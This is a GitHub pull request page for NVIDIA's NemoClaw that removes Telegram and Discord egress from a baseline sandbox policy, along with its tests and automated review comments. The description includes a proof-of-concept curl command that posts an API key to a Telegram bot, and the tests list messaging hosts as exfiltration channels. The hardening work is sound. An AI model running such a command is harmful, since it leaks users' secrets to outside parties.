Skip to content

security: remove telegram and discord from baseline sandbox policy#611

Closed
gn00295120 wants to merge 2 commits into
NVIDIA:mainfrom
gn00295120:security/remove-baseline-messaging-policy
Closed

security: remove telegram and discord from baseline sandbox policy#611
gn00295120 wants to merge 2 commits into
NVIDIA:mainfrom
gn00295120:security/remove-baseline-messaging-policy

Conversation

@gn00295120

@gn00295120 gn00295120 commented Mar 21, 2026

Copy link
Copy Markdown
Contributor

Summary

Telegram and Discord network policy blocks were always-on in the baseline sandbox policy with no binaries: restriction. Any process in the sandbox (curl, python3, node, etc.) could POST arbitrary data to attacker-controlled Telegram bots or Discord webhooks — an unconditional data exfiltration channel from every sandbox.

PoC: curl -X POST "https://api.telegram.org/bot${TOKEN}/sendMessage" -d "text=${NVIDIA_API_KEY}" succeeds from any sandbox process.

Fix

Remove telegram and discord blocks from openclaw-sandbox.yaml. Both are already available as opt-in presets (presets/telegram.yaml, presets/discord.yaml) via nemoclaw preset apply.

Changes

File Change
nemoclaw-blueprint/policies/openclaw-sandbox.yaml Remove telegram (lines 163-173) and discord (lines 175-201) blocks
test/security-c3-baseline-messaging.test.js 7 tests: host deny-list, binaries invariant, preset existence

Test plan

  • 7 tests pass (node --test test/security-c3-baseline-messaging.test.js)
  • No messaging hosts in baseline YAML
  • Every remaining baseline block has binaries: restriction
  • Telegram and discord presets still exist for opt-in

Summary by CodeRabbit

  • Security Updates

    • Telegram and Discord egress removed from the baseline sandbox policy; messaging access must be explicitly enabled via opt-in presets.
  • Tests

    • Added security regression tests that verify messaging hosts are absent from the baseline policy and that Telegram/Discord opt-in presets exist and include the expected entries.

Telegram and Discord network policy blocks were always-on in the
baseline with no binaries: restriction, allowing any sandbox process
to POST arbitrary data to attacker-controlled bots or webhooks.

Fix: remove from baseline. Both are already available as opt-in
presets (telegram.yaml, discord.yaml) via `nemoclaw preset apply`.

7 tests: host deny-list, binaries coverage invariant, preset existence.

Signed-off-by: Lucas Wang <lucas_wang@lucas-futures.com>
Copilot AI review requested due to automatic review settings March 21, 2026 23:44
@coderabbitai

coderabbitai Bot commented Mar 21, 2026

Copy link
Copy Markdown
Contributor

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 45c3c868-7e50-42cb-a93a-5dbb5f31c527

📥 Commits

Reviewing files that changed from the base of the PR and between 028250c and 11e7d0b.

📒 Files selected for processing (2)
  • nemoclaw-blueprint/policies/openclaw-sandbox.yaml
  • test/security-c3-baseline-messaging.test.js
✅ Files skipped from review due to trivial changes (1)
  • test/security-c3-baseline-messaging.test.js
🚧 Files skipped from review as they are similar to previous changes (1)
  • nemoclaw-blueprint/policies/openclaw-sandbox.yaml

📝 Walkthrough

Walkthrough

Removed Telegram and Discord allowlists from the baseline sandbox network policy and replaced them with opt-in presets; added tests that assert those hosts are absent from the baseline, ensure every top-level network_policies block contains a binaries: line, and verify Telegram/Discord preset files and contents.

Changes

Cohort / File(s) Summary
Baseline Policy
nemoclaw-blueprint/policies/openclaw-sandbox.yaml
Removed network_policies.telegram and network_policies.discord blocks (deleted ~41 lines) and replaced them with comments indicating messaging is excluded from the baseline and must be enabled via presets or policy-add commands.
Tests
test/security-c3-baseline-messaging.test.js
Added new Node.js test (~122 lines) that: asserts messaging hostnames are absent from the baseline YAML, verifies each top-level network_policies block contains a binaries: line (reports block names and start lines on failure), and checks for presence/content of messaging presets.
Presets (opt-in)
nemoclaw-blueprint/policies/presets/telegram.yaml, nemoclaw-blueprint/policies/presets/discord.yaml
Referenced by tests: expected to exist and include respective messaging hostnames and a network_policies: section (no changes to these files in this diff, but tests validate their presence/content).

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

🐇 I munched the lists, made defaults lean and small,
Hid tasty bots behind a preset wall.
Hop in to opt‑in, nibble what you please,
Safer burrows now, with fewer keys.
A little rabbit's hop keeps the sandbox well.

🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title 'security: remove telegram and discord from baseline sandbox policy' directly and clearly summarizes the main change—removal of Telegram and Discord from the baseline sandbox policy for security reasons.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Comment @coderabbitai help to get the list of available commands and usage tips.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR hardens the baseline OpenClaw sandbox policy by removing always-on Telegram/Discord allowlists that could be used as an unconditional data exfiltration path, keeping those integrations available only through opt-in policy presets.

Changes:

  • Remove Telegram and Discord network_policies blocks from the baseline sandbox policy YAML.
  • Add a security regression test ensuring baseline YAML doesn’t contain Telegram/Discord hosts and that baseline network_policies entries have binaries: restrictions.
  • Add tests verifying the opt-in telegram/discord preset files exist and contain expected hosts.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File Description
nemoclaw-blueprint/policies/openclaw-sandbox.yaml Removes baseline Telegram/Discord network policy entries and adds an explanatory comment about opt-in presets.
test/security-c3-baseline-messaging.test.js Adds regression tests to prevent reintroduction of messaging hosts in baseline and enforce a baseline binaries: invariant.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

# Telegram and Discord are NOT included in the baseline policy.
# Any process in the sandbox can reach these endpoints when enabled,
# making them data exfiltration channels (C-3). Users who need
# messaging can opt in: nemoclaw preset apply telegram|discord

Copilot AI Mar 21, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment suggests running nemoclaw preset apply telegram|discord, but the CLI in this repo exposes preset application via nemoclaw <sandbox> policy-add (and onboard applies suggested presets). Please update the instructions here to match the actual command(s) so users aren’t misled.

Suggested change
# messaging can opt in: nemoclaw preset apply telegram|discord
# messaging can opt in via `nemoclaw onboard` (suggested presets) or
# by running `nemoclaw <sandbox> policy-add telegram|discord`.

Copilot uses AI. Check for mistakes.
continue;
}
if (!inNetworkPolicies) continue;
if (/^ \w/.test(line) && line.trimEnd().endsWith(":")) {

Copilot AI Mar 21, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The network_policies parsing in this test only recognizes block keys that match ^ \w (letters/digits/underscore). YAML keys can legally contain hyphens or other characters, which would cause this test to mis-detect blocks and potentially miss a missing binaries: restriction. Consider loosening the block-start matcher to accept any valid YAML key token up to : (while still excluding comments).

Suggested change
if (/^ \w/.test(line) && line.trimEnd().endsWith(":")) {
if (/^ {2}(?!#)\S.*:\s*$/.test(line)) {

Copilot uses AI. Check for mistakes.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (2)
test/security-c3-baseline-messaging.test.js (2)

107-121: Add assertion messages for content checks.

The content assertions on lines 111-112 and 119-120 lack descriptive messages. If these fail, the error won't explain what was missing.

♻️ Add descriptive assertion messages
   it("telegram.yaml preset exists and contains api.telegram.org", () => {
     const presetPath = path.join(PRESETS_DIR, "telegram.yaml");
     assert.ok(fs.existsSync(presetPath), "telegram.yaml preset must exist");
     const content = fs.readFileSync(presetPath, "utf-8");
-    assert.ok(content.includes("api.telegram.org"));
-    assert.ok(content.includes("network_policies:"));
+    assert.ok(content.includes("api.telegram.org"), "telegram.yaml must include api.telegram.org");
+    assert.ok(content.includes("network_policies:"), "telegram.yaml must include network_policies:");
   });

   it("discord.yaml preset exists and contains discord.com", () => {
     const presetPath = path.join(PRESETS_DIR, "discord.yaml");
     assert.ok(fs.existsSync(presetPath), "discord.yaml preset must exist");
     const content = fs.readFileSync(presetPath, "utf-8");
-    assert.ok(content.includes("discord.com"));
-    assert.ok(content.includes("network_policies:"));
+    assert.ok(content.includes("discord.com"), "discord.yaml must include discord.com");
+    assert.ok(content.includes("network_policies:"), "discord.yaml must include network_policies:");
   });
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@test/security-c3-baseline-messaging.test.js` around lines 107 - 121, The two
content assertions inside the tests "telegram.yaml preset exists and contains
api.telegram.org" and "discord.yaml preset exists and contains discord.com" are
missing descriptive messages; update the assert.ok(content.includes(...)) calls
for both telegram and discord to include a third argument message that states
which substring was expected and which preset file (use PRESETS_DIR/presetPath
and the expected token like "api.telegram.org" or "discord.com") so failures
clearly report the missing content for content and network_policies checks.

61-100: YAML parsing is fragile but acceptable for this security invariant.

The hand-rolled YAML parsing assumes specific indentation (2-space) and structure. This works for the known openclaw-sandbox.yaml format.

For improved robustness, consider using a proper YAML parser (e.g., js-yaml) to avoid false positives/negatives if the file format evolves.

♻️ Optional: Use a YAML parser for more robust validation
// At top of file
const yaml = require("js-yaml");

// In test
it("no baseline network_policies block lacks a binaries: restriction", () => {
  const content = fs.readFileSync(BASELINE, "utf-8");
  const doc = yaml.load(content);
  const policies = doc.network_policies || {};
  
  const violators = Object.entries(policies)
    .filter(([_, v]) => !v.binaries || v.binaries.length === 0)
    .map(([name]) => name);
  
  assert.deepEqual(violators, [], 
    `Baseline blocks without binaries: restriction: ${violators.join(", ")}`);
});
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@test/security-c3-baseline-messaging.test.js` around lines 61 - 100, The
current hand-rolled parsing (variables inNetworkPolicies, currentBlock, blocks,
violators reading fs.readFileSync(BASELINE)) is fragile; replace it by parsing
the YAML with a real parser (require("js-yaml") and yaml.load(content)) and then
read doc.network_policies to build the violators list (checking each policy's
binaries property). Update the test's assertion to use the violators derived
from Object.entries(doc.network_policies) (or {} if missing) so names and counts
come from the parsed structure rather than line-based heuristics, but keep the
same failure message formatting if desired.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Nitpick comments:
In `@test/security-c3-baseline-messaging.test.js`:
- Around line 107-121: The two content assertions inside the tests
"telegram.yaml preset exists and contains api.telegram.org" and "discord.yaml
preset exists and contains discord.com" are missing descriptive messages; update
the assert.ok(content.includes(...)) calls for both telegram and discord to
include a third argument message that states which substring was expected and
which preset file (use PRESETS_DIR/presetPath and the expected token like
"api.telegram.org" or "discord.com") so failures clearly report the missing
content for content and network_policies checks.
- Around line 61-100: The current hand-rolled parsing (variables
inNetworkPolicies, currentBlock, blocks, violators reading
fs.readFileSync(BASELINE)) is fragile; replace it by parsing the YAML with a
real parser (require("js-yaml") and yaml.load(content)) and then read
doc.network_policies to build the violators list (checking each policy's
binaries property). Update the test's assertion to use the violators derived
from Object.entries(doc.network_policies) (or {} if missing) so names and counts
come from the parsed structure rather than line-based heuristics, but keep the
same failure message formatting if desired.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 0cc0ba79-41de-4f13-827f-2eb678b6021e

📥 Commits

Reviewing files that changed from the base of the PR and between 1dbf82f and 70a8feb.

📒 Files selected for processing (2)
  • nemoclaw-blueprint/policies/openclaw-sandbox.yaml
  • test/security-c3-baseline-messaging.test.js

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (2)
test/security-c3-baseline-messaging.test.js (2)

115-121: Discord preset check is a bit too narrow for regression coverage.

Line 119 only validates discord.com. To protect preset functionality, also assert gateway.discord.gg and cdn.discordapp.com are present in discord.yaml.

✅ Suggested assertion additions
   it("discord.yaml preset exists and contains discord.com", () => {
     const presetPath = path.join(PRESETS_DIR, "discord.yaml");
     assert.ok(fs.existsSync(presetPath), "discord.yaml preset must exist");
     const content = fs.readFileSync(presetPath, "utf-8");
     assert.ok(content.includes("discord.com"), "discord.yaml must include discord.com");
+    assert.ok(content.includes("gateway.discord.gg"), "discord.yaml must include gateway.discord.gg");
+    assert.ok(content.includes("cdn.discordapp.com"), "discord.yaml must include cdn.discordapp.com");
     assert.ok(content.includes("network_policies:"), "discord.yaml must include network_policies:");
   });
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@test/security-c3-baseline-messaging.test.js` around lines 115 - 121, Update
the Discord preset test in test/security-c3-baseline-messaging.test.js (the it
block titled "discord.yaml preset exists and contains discord.com") to
strengthen assertions: after reading the file into the content variable
(presetPath, content, PRESETS_DIR), add assertions using assert.ok to verify
that content.includes("gateway.discord.gg") and
content.includes("cdn.discordapp.com") in addition to the existing discord.com
and network_policies checks so the preset covers gateway and CDN hosts too.

29-59: Consider parameterizing host-absence assertions to reduce duplication.

These tests repeat the same read/assert pattern four times. A small table-driven loop would keep this easier to extend and maintain.

♻️ Suggested refactor
 describe("C-3: baseline policy must not contain messaging exfiltration channels", () => {
-  it("api.telegram.org does not appear in baseline YAML", () => {
-    const yaml = fs.readFileSync(BASELINE, "utf-8");
-    assert.ok(
-      !yaml.includes("api.telegram.org"),
-      "api.telegram.org must not appear in baseline — use the telegram preset instead",
-    );
-  });
-
-  it("discord.com does not appear in baseline YAML", () => {
-    const yaml = fs.readFileSync(BASELINE, "utf-8");
-    assert.ok(
-      !yaml.includes("discord.com"),
-      "discord.com must not appear in baseline — use the discord preset instead",
-    );
-  });
-
-  it("gateway.discord.gg does not appear in baseline YAML", () => {
-    const yaml = fs.readFileSync(BASELINE, "utf-8");
-    assert.ok(
-      !yaml.includes("gateway.discord.gg"),
-      "gateway.discord.gg must not appear in baseline — use the discord preset instead",
-    );
-  });
-
-  it("cdn.discordapp.com does not appear in baseline YAML", () => {
-    const yaml = fs.readFileSync(BASELINE, "utf-8");
-    assert.ok(
-      !yaml.includes("cdn.discordapp.com"),
-      "cdn.discordapp.com must not appear in baseline — use the discord preset instead",
-    );
-  });
+  const yaml = fs.readFileSync(BASELINE, "utf-8");
+  const forbiddenHosts = [
+    ["api.telegram.org", "telegram preset"],
+    ["discord.com", "discord preset"],
+    ["gateway.discord.gg", "discord preset"],
+    ["cdn.discordapp.com", "discord preset"],
+  ];
+
+  for (const [host, preset] of forbiddenHosts) {
+    it(`${host} does not appear in baseline YAML`, () => {
+      assert.ok(
+        !yaml.includes(host),
+        `${host} must not appear in baseline — use the ${preset} instead`,
+      );
+    });
+  }
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@test/security-c3-baseline-messaging.test.js` around lines 29 - 59, Replace
the four nearly identical tests that read BASELINE with a parameterized
table-driven test: read the file once using fs.readFileSync(BASELINE, "utf-8")
into a variable (instead of repeating in each it block) and iterate over an
array of host strings (e.g.,
["api.telegram.org","discord.com","gateway.discord.gg","cdn.discordapp.com"]) to
create assertions (assert.ok(!yaml.includes(host), ...)). Update the existing it
blocks to a single test or a loop that calls assert.ok for each host and reuse
the same error message pattern; reference the existing BASELINE constant and the
current use of fs.readFileSync/assert.ok to locate where to change.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Nitpick comments:
In `@test/security-c3-baseline-messaging.test.js`:
- Around line 115-121: Update the Discord preset test in
test/security-c3-baseline-messaging.test.js (the it block titled "discord.yaml
preset exists and contains discord.com") to strengthen assertions: after reading
the file into the content variable (presetPath, content, PRESETS_DIR), add
assertions using assert.ok to verify that content.includes("gateway.discord.gg")
and content.includes("cdn.discordapp.com") in addition to the existing
discord.com and network_policies checks so the preset covers gateway and CDN
hosts too.
- Around line 29-59: Replace the four nearly identical tests that read BASELINE
with a parameterized table-driven test: read the file once using
fs.readFileSync(BASELINE, "utf-8") into a variable (instead of repeating in each
it block) and iterate over an array of host strings (e.g.,
["api.telegram.org","discord.com","gateway.discord.gg","cdn.discordapp.com"]) to
create assertions (assert.ok(!yaml.includes(host), ...)). Update the existing it
blocks to a single test or a loop that calls assert.ok for each host and reuse
the same error message pattern; reference the existing BASELINE constant and the
current use of fs.readFileSync/assert.ok to locate where to change.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 073afd83-4391-4a85-af97-09420e999567

📥 Commits

Reviewing files that changed from the base of the PR and between 70a8feb and 586724a.

📒 Files selected for processing (2)
  • nemoclaw-blueprint/policies/openclaw-sandbox.yaml
  • test/security-c3-baseline-messaging.test.js
🚧 Files skipped from review as they are similar to previous changes (1)
  • nemoclaw-blueprint/policies/openclaw-sandbox.yaml

- Fix CLI command reference to use actual nemoclaw policy-add syntax
- Loosen YAML block-start matcher to support hyphenated keys
- Add descriptive assertion messages to preset content checks

Signed-off-by: Lucas Wang <lucas_wang@lucas-futures.com>
@gn00295120 gn00295120 force-pushed the security/remove-baseline-messaging-policy branch 2 times, most recently from 028250c to 11e7d0b Compare March 22, 2026 01:19
@wscurran wscurran requested a review from drobison00 March 23, 2026 19:38
@wscurran wscurran added the security Potential vulnerability, unsafe behavior, or access risk label Mar 23, 2026
@wscurran

Copy link
Copy Markdown
Contributor

Thanks for submitting this proposed fix to remove the unconditional data exfiltration channels from the baseline sandbox policy, which may help improve the security and privacy of the sandbox environment.

@drobison00

Copy link
Copy Markdown

Duplicates #317

@wscurran

Copy link
Copy Markdown
Contributor

Thanks for this security fix — removing Telegram and Discord from the base policy is the right call. This was addressed by #1705 (fix(security): remove pre-allowed messaging from base sandbox policy), which removed both endpoints from the base sandbox policy. Users who configure messaging tokens get connectivity through the preset system instead. Closing as superseded.

@wscurran wscurran closed this Apr 14, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

security Potential vulnerability, unsafe behavior, or access risk

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants